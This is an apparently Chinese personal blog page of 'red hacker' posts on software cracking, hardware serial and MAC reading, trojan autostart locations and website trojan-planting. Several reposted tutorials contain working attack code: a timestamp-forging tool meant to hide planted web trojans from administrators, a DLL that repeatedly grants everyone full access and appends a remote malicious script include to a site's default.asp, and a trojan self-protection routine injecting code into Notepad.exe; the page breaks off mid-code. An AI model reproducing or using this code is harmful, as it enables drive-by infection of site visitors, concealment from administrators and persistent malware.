EDN首页   博客首页 用户登陆  |  注册
aaa
发表于 2009/6/18 19:23:09

0

关于投票

菜农想参与密码的讨论,无奈是临时工~~~

原帖出处:http://bbs.pediy.com/showthread.php?t=91826

本坛有一贴:http://bbs.pediy.com/showthread.php?p=643591#post643591

对菜农而言,算是小菜~~~

俺能发明密码,无奈在这里还是临时工~~~

拿最简单的CRC密码即可解答楼主的问题~~~

俺此生到此搞个三个密码:三角密码,CRC密码, 星期密码。
            他们的集合:HotWC3密码。(只发布了幼教版)

他们主要是针对MCU/ARM/DSP做的。

其中CRC密码从CRC8~CRC64.实际可以扩充为无穷~~~

如果这里有数学家或密码学家,俺真想讨论一番~~~

可是无奈身份低微~实在是晕!!!

50岁的老头在此也混不上“初级”~~~

http://www.hotc51.com/HotPower_HotWC3.html

菜农年青时也好此道~~~,91年俺即45分钟攻克美国福禄克公司测试仪表的硬件加密狗。

找到了正常运行时和Debug跟踪时堆栈相差10个字节的“暗门”,并拦截了它的128位密码。

且成功地嵌入了常驻内存程序,现在时髦称之为“钩子”。

当年本人。。。。后来宣布退出“江湖”。并10余年远离计算机及网络。。。

后来在山林里潜心钻研~~~并研究出3个密码,并自成体系,等待攻击~~~

在发布HotWC3密码正式版之前,想论战一番,无奈找不到战场~~~

由于本人立志“金盆洗手”,无奈近几日非要俺重抄就业,走回逆向之路...

由于本人远离江湖十数年,对Windows的逆向发展不慎了解,往明白人指点江山一二~~~

俺声明:本次逆向主要是研究一种算法~~~

谢谢拥有特权的朋友们---菜农HotPower@126.com申请转正。

http://www.baigoogledu.com/search.asp?q=HotPower&num=20

系统分类: 单片机  |  用户分类: 红色黑客  |  标签: 逆向  |  来源: 整理  | 

点击查看原文

发表评论 阅读全文(264) | 回复(0)

发表于 2008/10/22 20:59:24

1

关于投票

不知阶级敌人在搞什么鬼~~~

菜农老师:

久仰大名,哈哈!

学生最近接触国外一有名公司的产品协议,由于未公开,故抖胆尝试一把。几天苦战,协议结构基本清晰,可其校验让我束手无策,试过常规的和校验,异或校验,标准CRC16及CRC-CCITT都未果,故希望老师能指点一二。

下面是摘取其中的几组数据,16进制变长,7F起始和结束,基本认定倒数2,3字节为校验值。

7E 00 03 FC 01 08 02 52 BD 7E

7E 01 07 F8 01 08 20 00 30 02 00 98 A3 7E

7E 11 03 FC 01 07 02 01 78 7E

7E 22 03 FC 01 08 02 64 30 7E

7E 23 07 F8 01 08 20 00 30 02 00 63 57 7E

7E 44 08 F7 04 82 00 0C 14 14 05 01 96 DE 7E

7E 45 08 F7 04 82 80 0C 14 14 05 01 A5 8E 7E

7E 56 09 F6 04 82 80 0C 14 14 B0 01 00 2E 5A 7E

7E 67 09 F6 04 82 00 0C 14 14 B0 01 00 0E 67 7E

7E 70 09 F6 04 82 80 0C 14 14 B0 01 01 DA 67 7E

个人猜测校验值不一定是从首字节开始,也有可能从第2或5(第三字节表示数据长度)开始。

学生的确不才,等待您的赐教!

谢谢!

 

 

刚看见此邮件~~~有些兴趣~~~
 
但俺饿了要回家吃饭了~~~
 
00 01 02 03 04 05 06 07 08 09

7E 00 03 FC 01 08 02 52 BD 7E

7E为同步字符(包头尾)
01字节应该为发送命令或包序
02字节为包长 
03字节应该为包长的反码~~~   03^FF=FC  或FC^FF=03
04~06字节为包数据(包长为3) 
07~08应该是种验证
 

系统分类: 通信网络  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 整理  | 

点击查看原文

发表评论 阅读全文(428) | 回复(0)

发表于 2008/8/6 0:39:28

2

关于投票

再搞个连环画~~~

http://bbs.21ic.com/club/bbs/list.asp?boardid=11&t=3052573

hotpower 发表于 2008-8-6 00:34 侃单片机 ←返回版面 按此察看该网友的资料 按此把文章加入收藏夹 按此编辑本帖

31楼: 再搞个连环画~~~







点击看大图





哈哈~~~俺喜欢暴力~~~现在俺的古董各地用户还在用~~

它比windows差不到那去~~~

直接写屏,支持鼠标,数据库...总之里面布满了暴力和"色情"~~~

点击看大图

系统分类: 单片机  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 整理  | 

点击查看原文

发表评论 阅读全文(622) | 回复(0)

发表于 2008/8/3 10:41:20

3

关于投票

关于软件的加密和解密问题

hotpower 发表于 2008-8-3 10:41 侃单片机 ←返回版面 按此察看该网友的资料 按此把文章加入收藏夹 按此编辑本帖

楼主: 关于软件的加密和解密问题

最近菜农被阶级敌人欺负,无奈再举"红色黑客"的义旗...

在PC端的加密方面,人们一直寻求1个固定不变的"介质",并用它做为加密/解密的依据.

常用的有硬盘序列号(非逻辑序列号),网卡号,加密狗等等...

这是因为它们必须通过专用的编程接口来访问,并得到一组不变且每台不同的序列.

它们都不会因为硬盘的格式化而消失.

虽然他们在注册表存放的信息可以被更改,但通过专用的编程接口读出的数据

可以发现何处被更改,以达到保护软件合法的作用.

MCU端也一样,也要寻求一种不变的"介质",像1-Wire系列的激光刻制的全球唯一码, 还有STM32的唯一序列码(还未实践过,不知是否1片1号)

以上是从加密方的硬件配置来分析的,但作为解密方也有对付的良策...

PC端的加密比较困难,这主要是汇编代码是公开的,如同MCU被暴力解密后的汇编代码.

所以我们都应该站在汇编代码公开的基础上来讨论加密和解密问题,任何想依据

MCU芯片不被破解的想法都是徒劳的,也是单相思的~~~

故加密方应具备的"介质"---不变的唯一码(序列码)应该是必要的.

如果没有这些,"整盘/正片"的拷贝即成现实.

所以加密方在具备了"介质"后,还应该施加有关的代码,使其不能达到,"整盘/正片"拷贝的目的.

迫其对汇编代码进行改写(这是加密方不能阻止的~~~,但加密的目的已初步达到)

想通了---付出应该得到回报~~~(解密也是要劳动的~~~)

故施加防范代码就是加密方最需要做到的...

加密的理念有多种,菜农N十年来历来反对分枝判断~~~

可先行的软件大多采用这种分枝判断真伪,这就给解密者留下了突破口~~~

如果无分枝由将如何呢???

菜农一直坚持对输出流进行加密,这样就不会产生分枝.

举例WORD文档文件:

让任何人使用,但非正版用户看到的全是乱码~~~

难道这种理念不更气人码???哈哈~~~

做为解密方,如果不能"整盘/正片"的拷贝,那么他必定知道加密方施加了手段.

他们当然会采用"钩子"等"卑鄙"手段进行拦截,监听,最后直到破解.

所以,PC端加密还是很困难的~~~理论是解密永远加密的胜利者~~~

很无奈,事实就是如此...

在MCU端就相对好些,首先他要暴力破解芯片,从而拿到汇编代码.

然后通过对串行通讯的数据流拦截分析,对操作步骤的实践,对用户说明书的研究,对被控对象的相应动作表现等等...

这样的轮廓足已破解一半的流程...

所以加密方要少使用分枝,字符串,IO地址等敏感语句...

多用函数指针(散转),对字符串进行些简单的处理而不要直读.

IO地址也用指针(51是没办法了~~~PX,PX.x将告诉敌人自己在干什么~~~)


就写到这里吧~~~继续农忙...

总之不要想自己的程序不被破解~~~

说到另一层被破解应该感到"荣幸"~~~这也证明了你的程序的"伟大"~~~


菜农HotPower@126.com   2008.8.3  于菜地

系统分类: 单片机  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 原创  | 

点击查看原文

发表评论 阅读全文(1530) | 回复(1)

发表于 2008/8/3 9:39:05

2

关于投票

感谢huangqi412的"弱智"文章~~~现在网上骗子太多

讨论见:http://bbs.21ic.com/club/bbs/list.asp?boardid=11&t=3052573

文章:   http://bbs.21ic.com/upfiles/img/20079/200791715410380.rar

hotpower 发表于 2008-8-3 09:24 侃单片机 ←返回版面 按此察看该网友的资料 按此把文章加入收藏夹 按此编辑本帖

19楼: 感谢huangqi412的"弱智"文章~~~现在网上骗子太多

哈哈~~~红色黑客可不能受他们的蒙骗~~~

点击看大图


系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 整理  | 

点击查看原文

发表评论 阅读全文(718) | 回复(1)

发表于 2008/8/2 22:08:31

2

关于投票

转帖:教你认识常见木马的所有隐藏启动方式

木马的最大的特点之一就是它一定是要和系统一起启动而启动,否则它就完全失去了意义!!!

  方法一:注册表启动项:这个大家可能比较熟悉,请大家注意以下的注册表键值:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservices

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows   \CurrentVersion\RunHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
 
  这里只要有“run”敏感字眼的都要仔细

  方法二:利用系统文件

  可以利用的文件有Win.ini ; system.ini ; Autoexec.bat ; Config.sys. 当系统启动的时候,上述这些文件的一些内容是可以随着系统一起加载的,从而可以被木马利用

  用文本方式打开 C:\Windows 下面的system.ini文件 我们会看到

  其它的几个所述文件也是经常被用来利用,从而达到开机启动的目的的

  方法三:系统启动组

  依次点开“开始”------“程序”------“启动”

  WINXP: C:\Documents and Settings\gillispie\[开始]菜单\程序\启动

  WIN98: C:\WINDOWS\Start Menu\Programs\启动

  对应的注册表键值:

  HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  方法四:利用文件关联:

  例如:正常情况下txt文件的打开方式为Notepad.exe文件,如果一旦中了文件关联类的木马,这样打开一个txt文件,原本应该用Notepad打开该文件的,现在却变成了启动木马程序了。

  解决文件的关联问题有两种方法:

  ①修改注册表:

  如果木马是关联的EXE文件:

  找到键值:

  HKEY_CLASSES_ROOT\exefile\shell\open\command

  HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command

  ②进入控制面版,选择文件夹选项-----------文件类型

  然后点击"高级" 在弹出的菜单中选择“应用程序”

  方法五:利用服务加载

  系统要正常的运行,就少不了一些服务,一些木马通过加载服务来达到随系统启动的目的

  控制面板--------管理工具------服务

  通过 net start 服务名(开启服务)

  net stop 服务名(关闭服务)

系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 转贴  | 

点击查看原文

发表评论 阅读全文(490) | 回复(0)

发表于 2008/8/2 21:26:27

2

关于投票

转帖:“黑五类” 黑客最爱挂马的五类网站

“黑五类” 黑客最爱挂马的五类网站  

什么是网页挂马?事实上,黑客在网页中嵌入的一段用于自动下载木马程序的恶意代码或脚本,从而利用该代码或脚本实施木马植入的行为通常就称为“网页挂马”。等用户浏览了被挂马的网页后就会感染木马,从而被黑客控制,被盗取各类帐号密码,如电子银行帐户和密码、游戏帐号和密码、邮箱帐户和密码、QQ/MSN 帐号和密码等;有时还会被强迫安装恶意插件,强迫浏览黑客指定的网站;更有甚者还会使用户电脑成为僵尸主机,被利用攻击其它对象。

 

那么,黑客挂马有什么目的呢?一是为名,一是为利。只不过在如今市场经济时代,大多数黑客进行网页挂马的目的都是后者,获取利益。而要进行网页挂马并获得利益,自然一是要让中招的人越多越好,二是每个中招的人能带来的利益越大越好。因此,黑客在选取挂马网站时会考虑这样两个方面,一是网站受众数量,如果你挂到一个没人看的网站上,自然没有几个人会中招,所以要选取访问人数多的网站;二是网站受众群,选取特定类型的网站如电子商务网站,金融网站等,这样获取的利益也会更大。结合以上两点,黑客挂马最爱选取的就是以下五类网站,这就是黑客网页挂马时最爱的“黑五类”。

政府网站

这一类网站一般缺乏专门的技术人员进行维护,安全性并不高,容易侵入并进行挂马,而且一旦受攻击就能造成极大的舆论影响力。因此,对黑客来讲,尽管这一类网站并不能带来直接利益,但是,这种“挑战权威”的行为能给黑客带来极大的心理满足感,当然也能迅速提升个人黑客圈内的知名度。攻击政府网站,这是黑客获取名声的捷径。

中小企业网站

和政府网站一样,大多数这一类的网站投入更小,很多都是直接使用网上公开的源代码程序,安全性更差,攻击这样的网站也不能带来多大的名声,但对于刚入门的“菜鸟黑客”来说,这却是最佳的练手“道场”。因此这类网站也成为不少黑客新手的最爱。

门户网站

这一类网站知名度高,用户访问量大。一旦挂马成功,即便挂马存在的时间很短,也可能有巨大数量的访问者中招。尽管门户网站的受众成分复杂,单一用户价值不如金融网站等高,但由于感染数量的巨大,黑客可以擒获更多的“傀儡机”,构建僵尸网络,从而用以牟取利益。而且,通过值入QQ盗号木马、网游木马等,还可以广泛攫取网民的游戏装备、QQ币等虚拟财产。

金融网站

这一类网站用户数量不如门户网站,但是这类网站的来访者一般都是有钱的高端用户。因此如果能在这类网站挂马成功,从而获取用户账号密码,直接操控其银行、股票证券等账号,就能直接获得巨大的利益。尽管这一类网站安全性一般很高,要想侵入也有一定难度,但在巨大的经济利益诱惑之下,这是广大黑客时刻觊觎的目标。

电子商务网站

这一类网站兼具门户网站和金融网站的特点,有钱也有访问量,因而更是黑客的最爱。通过在这一类网站上挂马,黑客可以修改价格、供求等敏感数据库参数,实现交易操控;而且,利用信任机制漏洞,构建各种钓鱼活动,电子商务网站也是黑客最爱进行网络钓鱼的地方。

系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 转贴  | 

点击查看原文

发表评论 阅读全文(440) | 回复(0)

发表于 2008/8/2 21:01:28

2

关于投票

不放弃,不抛弃,方法2让50岁的老农民终成正果~~~

http://bbs.21ic.com/club/bbs/list.asp?boardid=11&t=3052573

hotpower 发表于 2008-8-2 21:00 侃单片机 ←返回版面 按此察看该网友的资料 按此把文章加入收藏夹 按此编辑本帖

15楼: 不放弃,不抛弃,方法2让50岁的老农民终成正果~~~

哈哈~~~老花眼误事呀,不过一天的心血没白费~~~

可以安心耕地了...

点击看大图

 

系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 整理  | 

点击查看原文

发表评论 阅读全文(815) | 回复(0)

发表于 2008/8/2 14:25:07

2

关于投票

转帖:读取硬盘物理序列号(源码和执行文件)

http://www.cppblog.com/edog/archive/2005/12/01/1455.html

读取硬盘物理序列号

WINNT下实现的,WIN98下不行,网上搜索了一通,高人给出WIN98下的实现代码要用到汇编,还要取得Ring0级别的控制权,狂晕~~~偶毕业后就把汇编还给老师了,还是老老实实用C++代码吧。具体的C++和汇编源码可以在此找到:http://www.cz88.net/2004/7-7/235257.htm

 

读取硬盘物理序列号有什么用?用来对软件加密最好了,别告诉我你是用C盘的逻辑序列号来加密的,那个冬冬可是可以用程序改的。不过听说现在连硬盘的物理序列号也可以改,不知道怎么才能改呢,高人指点一下。这个程序主要是针对有序列号的IDE HDD而言, 对于没有序列号或SCSI HDD硬盘则无能为力,这是其局限性。

 

实现原理:

1、  CreateFile可以打开物理设备和串口等,使用CreateFile("\\\\.\\PHYSICALDRIVE0",…)打开硬盘,其中的00-255,视乎有几个硬盘了。

2、  使用DeviceIoControl函数对打开的设备进行通信,发送指定命令,根据返回的PSENDCMDOUTPARAMS结构,得到物理序列号和模型号,把物理序列号和模型号格式化为一定的格式输出。
DiskInfo

顺便把各个逻辑驱动器的信息也读取一下,包括卷标,驱动器类型和逻辑序列号等。主要是用GetLogicalDriveStrings和GetVolumeInformation和GetDriveType几个API。图示是偶的机器上的结果。
程序:diskinfo.zip

 

菜农先在这里感谢真正的原作者.

运行diskinfo后,显示如下:(和某收费40元/台结果一样)

 

还没看此源程序,先用CVI编写的,但没通过(CVI支持直接访问IO)

 

 int al;
    int i;    
    WORD pw[256];    
 while  ((al = inp (0x1F7)) >= 0x80);
    outp(0x1F6,0xA0);    
 while  ((al = inp (0x1F7)) >= 0x80);
    if ((al & 0x50) == 0x50)   
 {
     outp(0x1F6, 0xA0);    
     outp(0x1F7, 0xEC);    
  while  ((al = inp (0x1F7)) >= 0x80);
     if ((al & 0x58) == 0x58)    
  {
      for   (i=0; i< 256; i++)  
   {    
       pw[i] = inpw(0x1F0);    
      }
  }
 }    

问题出在最后没读到0x58,而是一直读的是0x50. 难道CVI有问题???

 

不会吧...俺一直用CVI读写其他IO都没问题过...

 


 

系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 整理  | 

点击查看原文

发表评论 阅读全文(1342) | 回复(0)

发表于 2008/8/2 11:46:38

2

关于投票

请教明白人...

hotpower 发表于 2008-8-2 11:41 侃单片机 ←返回版面 按此察看该网友的资料 按此把文章加入收藏夹 按此编辑本帖

楼主: 请教明白人...

昨日将网卡地址读出,不知能改否???

俺的网卡序列号:
DISK-IC25N040ATMR04-0MRG254KBDBA7HPDBA7HP

序列号是能改的,但不知后面的"MRG254KBDBA7HPDBA7HP"是如何及从何读出.

再请教:
硬盘序列号有最简单的方法读出吗???

谢谢!!!

请教之中给个俺调试通过的参考程序.因为网上胡说八道的也很多.

再次感谢!!!

转帖:如何用VC++开发读取网卡MAC地址的程序
点击看大图

系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 整理  | 

点击查看原文

发表评论 阅读全文(487) | 回复(0)

发表于 2008/8/2 7:50:01

3

关于投票

转帖:如何用VC++开发读取网卡MAC地址的程序

本程序菜农已在CVI上验证通过,谢谢此文原创者:

注意在CVI上要做3点:

1.在工程中加netapi32.lib

2.加入头文件NB30.h

3.定义结构

typedef struct _ASTAT_
{
ADAPTER_STATUS adapt;
NAME_BUFFER NameBuff [30];
}ASTAT, * PASTAT;

http://blog.csdn.net/birdme007/archive/2007/09/10/1779428.aspx

在实际的应用系统中,我们往往会需要在程序运行时获取当前机器的网卡的MAC地址,以便作为某种标识之用,如控制程序的合法性等。下文就如何用Microsoft Visual C++ 6.0开发这样的程序演示如何实现其要点。

---- 这里采用的方法是通过Windows 9x/NT/Win2000中内置的NetApi32.DLL的功能来实现的,首先通过发送NCBENUM命令获取网卡的数目和每个网卡的内部编号,然后对每个网卡标号发送NCBASTAT命令获取其MAC地址。注意:这里的网卡是指捆绑了NetBeui协议的通信协议栈,可以在网卡的属性处查看到。

---- 请运行VC++,打开一个新的工程,选择创建一个Win32 Console程序,然后按下文输入代码,并请参见其中的注释:

#include "stdafx.h"

#include < windows.h >
#include < wincon.h >
#include < stdlib.h >
#include < stdio.h >
#include < time.h >

---- // 因为是通过NetAPI来获取网卡信息,所以需要包含其题头文件nb30.h #include < nb30.h >
typedef struct _ASTAT_
{
ADAPTER_STATUS adapt;
NAME_BUFFER NameBuff [30];
}ASTAT, * PASTAT;

ASTAT Adapter;

---- // 定义一个存放返回网卡信息的变量
---- // 输入参数:lana_num为网卡编号,一般地,从0开始,但在Windows 2000中并不一定是连续分配的

void getmac_one (int lana_num)
{
NCB ncb;
UCHAR uRetCode;

memset( &ncb, 0, sizeof(ncb) );
ncb.ncb_command = NCBRESET;
ncb.ncb_lana_num = lana_num;
// 指定网卡号

---- // 首先对选定的网卡发送一个NCBRESET命令,以便进行初始化
uRetCode = Netbios( &ncb );
printf( "The NCBRESET return code is:
0x%x \n", uRetCode );

memset( &ncb, 0, sizeof(ncb) );
ncb.ncb_command = NCBASTAT;
ncb.ncb_lana_num = lana_num; // 指定网卡号

strcpy( (char *)ncb.ncb_callname,
"* " );
ncb.ncb_buffer = (unsigned char *) &Adapter;

---- // 指定返回的信息存放的变量
ncb.ncb_length = sizeof(Adapter);

---- // 接着,可以发送NCBASTAT命令以获取网卡的信息
uRetCode = Netbios( &ncb );
printf( "The NCBASTAT
return code is: 0x%x \n", uRetCode );
if ( uRetCode == 0 )
{

---- // 把网卡MAC地址格式化成常用的16进制形式,如0010-A4E4-5802
printf( "The Ethernet Number[%d]
is: %02X%02X-%02X%02X-%02X%02X\n",
lana_num,
Adapter.adapt.adapter_address[0],
Adapter.adapt.adapter_address[1],
Adapter.adapt.adapter_address[2],
Adapter.adapt.adapter_address[3],
Adapter.adapt.adapter_address[4],
Adapter.adapt.adapter_address[5] );
}
}

int main(int argc, char* argv[])
{
NCB ncb;
UCHAR uRetCode;
LANA_ENUM lana_enum;

memset( &ncb, 0, sizeof(ncb) );
ncb.ncb_command = NCBENUM;

ncb.ncb_buffer = (unsigned char *) &lana_enum;
ncb.ncb_length = sizeof(lana_enum);

---- // 向网卡发送NCBENUM命令,以获取当前机器的网卡信息,如有多少个网卡、每张网卡的编号等
uRetCode = Netbios( &ncb );
printf( "The NCBENUM return
code is:
0x%x \n", uRetCode );
if ( uRetCode == 0 )
{
printf( "Ethernet Count is : %d\n\n", lana_enum.length);

---- // 对每一张网卡,以其网卡编号为输入编号,获取其MAC地址
for ( int i="0"; i< lana_enum.length; ++i)
getmac_one( lana_enum.lana[i]);
}
return 0;
}

---- 此时,按F7编译、直至通过,按F5运行即可。
---- 这段代码可以直接嵌入相关的应用系统之中,或封装成.DLL或COM控件,以便可以在Visual Basic、Visual Foxpro、Power Builder或Delphi等其他程序中调用  

系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 转贴  | 

点击查看原文

发表评论 阅读全文(864) | 回复(0)

发表于 2008/8/1 3:05:04

3

关于投票

转帖:编程之修改文件修改时间的程序

http://www.heibai.net/ARTICLE/INFO/info.php?infoid=41256

一次偶然挂马。用了好多IIS挂马,ISAPI,文件重定向挂马方法,不久后被管理员KILL。无奈只能用原始方法,因此,修改文件修改时间是必要的,管理员也因此用这个查。虽然海洋ASP木马上有这个功能,但经过测试,有的时候不行(原因不明,估计是权限问题),所以自己尝试写了这么个软件,代码如下:

#include "stdafx.h"
#include "windows.h"
#include "iostream.h"
#include "stdlib.h"
int main(int argc, char* argv[])
{  
        if (argc == 8)
        {
    FILETIME ft,ft1;
        SYSTEMTIME systime;
        int gxm,gxm1,gxm2,gxm3,gxm4,gxm5;
        gxm="atoi"(argv[7]);
        gxm="gxm" - 1;
    gxm1=atoi(argv[2]);
        gxm2=atoi(argv[3]);
        gxm3=atoi(argv[4]);
        gxm4=atoi(argv[5]);
        gxm5=atoi(argv[6]);
        systime.wYear = gxm1;
    systime.wMonth = gxm2;
    systime.wDay = gxm3;
    systime.wHour = gxm4;
    systime.wMinute = gxm5;
    systime.wSecond = gxm;                        //想要改变秒,必须要少一位
        SystemTimeToFileTime(&systime, &ft);
        LocalFileTimeToFileTime(&ft,&ft1);         //把时间转换UTC
        HANDLE hFile;
    hFile = CreateFile(argv[1], GENERIC_READ | GENERIC_WRITE,
                FILE_SHARE_READ| FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL);
        if (hFile== INVALID_HANDLE_VALUE)
        {
            printf("open't the file[!]...................................error\n");
        }
            SetFileTime(hFile, (LPFILETIME) NULL, (LPFILETIME) NULL, &ft1);
            CloseHandle(hFile);
    printf("changed[!]...................................OK\n");
        return 0;
       
        printf("GXM修改文件最后修改日期工具\n");
        cout << "文件使用方法为:"<<endl;
        cout << "\t" << argv[0] << " path year month Day Hour Minute Second"<<endl;
        return 0;
}

xp sp2 vc++6.0环境下编译成功,2k 2003 xp测试软件效果成功。需要运行程序权限:本菜在administrator下运行的,其他的没有测试。估计guest权限不行.

系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 转贴  | 

点击查看原文

发表评论 阅读全文(599) | 回复(0)

发表于 2008/8/1 3:02:05

2

关于投票

转帖:教你制作监控文件挂马的程序

http://www.heibai.net/ARTICLE/INFO/info.php?infoid=41180

  本人挂马语句经常被管理员KILL,但是自己也有管理员权限,保留的很好,既然被他发现了,怎么说我们也要强行挂上1天到2天,让他去重做系统去。下面是一个简单的监控某个文件,给予他访问的权限。然后在检查代码中有无我们事先插入的代码,没的话就插入,有的话,等等在检查便。如此循环。此程序只提供个简单的思路,无自启动代码。只实现这个功能,关于进程隐藏,自启动自己解决。因我是一个EXE远程线程插入DLL。所以我的主程序是个DLL文件,因此代码是个DLL工程。

代码如下:

#include "stdafx.h"
#include "process.h"
#include "windows.h"
#include "string.h"
#include "iostream.h"
#include "fstream.h"
char path2[256]="E:\\gxm\\default.asp";
char guama[256]="\n<script language="javascript" src='http://www.gxm520.cn/tg.js'></script>";
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                         )
{
        switch ( ul_reason_for_call )
        {
                case DLL_PROCESS_ATTACH:
                {
                        while(1)
        {
ifstream ifs(path2);
char FileContent[5000];
memset(FileContent,0,5000);//初始化FileContent
ifs.read(FileContent,5000);//读取数据
ifs.close();//关闭ifstream对像
if(strstr(FileContent,guama)==0)
{
    char path1[256]="E:\\gxm\\default.asp ";      //比变量path2多了一个空格
        char mingling[256]="cacls ";
    strcat(mingling,path1);
    char ps[25]="/T /E /C /G everyone:F";
        strcat(mingling,ps);
    char mingling1[256]="cacls ";
        strcat(mingling1,path1);
        char pa[30]="/T /E /C /G administrator:F";
    strcat(mingling1,pa);
        system(mingling);
    system(mingling1);
        SetFileAttributes(path2,GetFileAttributes(path1) & ~FILE_ATTRIBUTE_READONLY);
    ofstream outfile;
        outfile.open(path2,ios::app);
        if (!outfile)
        {
                exit(0);
        }
outfile<<guama;
outfile.close();
}
Sleep(9000);
        }
                }
                default:
                        return TRUE;
        }        
        return TRUE;
}


简单的监控文件程序的代码而已,我也不知道别人是怎么写的,反正自己是这样想出来一点一点的写点,希望对我们一样菜的人有点帮助

系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 转贴  | 

点击查看原文

发表评论 阅读全文(408) | 回复(0)

发表于 2008/8/1 2:59:44

1

关于投票

转帖:木马编程之线程守护

http://www.heibai.net/ARTICLE/INFO/info.php?infoid=41253

要防止自己的程序被关闭,通常有两种方法1.像IcesWord一样HOOK系统底层的函数2.使用线程保护。这里我们主要学习线程保护的方法
线程保护的思路就是让其它程序监视自己,如果自身程序退出了,那么监视程序就重新启动.

我们来分析一下线程守护的思路,并编程实现一个简单的线程守护程序,本程序完成的功能是把监视代码插入到Notepad.exe进程
以监视程序本身,如果自身被关闭,Notepad.exe进程将重新启动自身程序,以达到不死的效应,以下代码在VC6中编译通过。

现在我们重新整理一下思路,首先我们找一个其它进程做为我们的保护神并把自己进程的句柄传保护神,保护神通过用WaitForSingleObject
函数来检测句柄来判断要保护的进程是否结束,如果结束就重新启动我们的程序.跟据上面的思路我们来分析细节的实现。

1.检测并保护程序的远程线程代码

因为保护自己的代码要注入到Notepad.exe进程,而执行在远程线程代码的API都需要重新定位,为解决这个问题我们定义如下的结构

复制内容到剪贴板
代码:
typedef struct _remoteparameter
{
    DWORD        rpWaitForSingleObject;
    DWORD        rpOpenProcess;
    DWORD       rpWinExec;
    DWORD        rpProcessPID;          
    HANDLE        rpProcessHandle;
    char        path[MAX_PATH];
}REMOTEPARAM;
这个结构中包的前三项为远程线程中需要使用的API函数, rpProcessPID为要保护的进程PID,rpProcessHandle用来保存要保护进程的句柄
path为当程序被关闭时需要启动的程序路径。远程线程函数如下
复制内容到剪贴板
代码:
DWORD WINAPI remote(LPVOID pvparam)
{
    REMOTEPARAM *rp=(REMOTEPARAM*)pvparam;  //传递进来的信息

    typedef UINT            (WINAPI *EWinExec)                (LPCSTR, UINT);
    typedef HANDLE            (WINAPI *EOpenProcess)            (DWORD, BOOL, DWORD);
    typedef DWORD            (WINAPI *EWaitForSingleObject)    (HANDLE, DWORD);


    EWinExec                tWinExec;
    EOpenProcess            tOpenProcess;
    EWaitForSingleObject    tWaitForSingleObject;


    tOpenProcess            =(EOpenProcess)rp->rpOpenProcess;
    tWaitForSingleObject    =(EWaitForSingleObject)rp->rpWaitForSingleObject;
    tWinExec                =(EWinExec)rp->rpWinExec;


    rp->rpProcessHandle=tOpenProcess(PROCESS_ALL_ACCESS,FALSE,rp->rpProcessPID);//打开要保护的进程

    tWaitForSingleObject(rp->rpProcessHandle,INFINITE);//要保护的进程是否结束
   
    tWinExec(rp->path, SW_SHOW);//如果结束就重新启动程序
    return 0;
}
2.将remote函数代码注入Notepad.exe进程并启动


这里为了方便我定义成了一个函数,使用时只要提供要注入的进程名称就可以完成线程守护的功能,它的返回值是远程线程的句柄

其实现如下:
复制内容到剪贴板
代码:
HANDLE CreateRemoteThreadProc(char* ProcessName)
{
        HANDLE    ThreadHandle;
        char    FilePath[MAX_PATH];

        GetModuleFileName(NULL,FilePath,MAX_PATH);//得到文件所在路径

        int procID="processtopid"(ProcessName);
        printf("The process pid is %d\n",procID);


        HINSTANCE         hkernel32;
        HANDLE            rphandle;
        char             *remotethr;
        char             *remotepar;
        int               cb;

           rphandle="OpenProcess"(PROCESS_CREATE_THREAD |    
                                   PROCESS_VM_OPERATION  |    
                                    PROCESS_VM_WRITE,          
                                 FALSE,procID);
        if(rphandle==NULL)
        {
               printf("Open Remote Process  is Error\n");
        }
        else
        {
            printf("open process is ok\n");
        }

        /*****************************************************************/
                        /*将远程线程函数代码拷入目标进程*/
        /*****************************************************************/

        cb="sizeof"(char)*4*1024;

        remotethr=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        if(remotethr==NULL)
        {
            printf("VirtualAllocEx for Thread Error\n");
            CloseHandle(rphandle);      
        }
        else
            printf("VirtualAllocEx is ok\n");


        if(WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL)==FALSE)
        {
            printf("WriteProcessMemory for Thread Error\n");
            CloseHandle(rphandle);
        }
        else
            printf("WriteProcessMemory is ok\n");

        /*****************************************************************/
                        /*将远程线程函数参数拷入目标进程*/
                        /*这里需要重定位远程线程需要的API*/
        /*****************************************************************/

        REMOTEPARAM rp;
        memset((char*)&rp,0,sizeof(rp));

        hkernel32=GetModuleHandle("kernel32.dll");

        if(hkernel32==NULL)
        {
            printf("hKernel32 is Error\n");
        }

        rp.rpProcessPID            =GetCurrentProcessId();
        rp.rpOpenProcess        =(DWORD)GetProcAddress(hkernel32,"OpenProcess");
        rp.rpWinExec            =(DWORD)GetProcAddress(hkernel32,"WinExec");
        rp.rpWaitForSingleObject=(DWORD)GetProcAddress(hkernel32,"WaitForSingleObject");
        _tcscpy(rp.path,FilePath);   


        cb="sizeof"(char)*sizeof(rp);
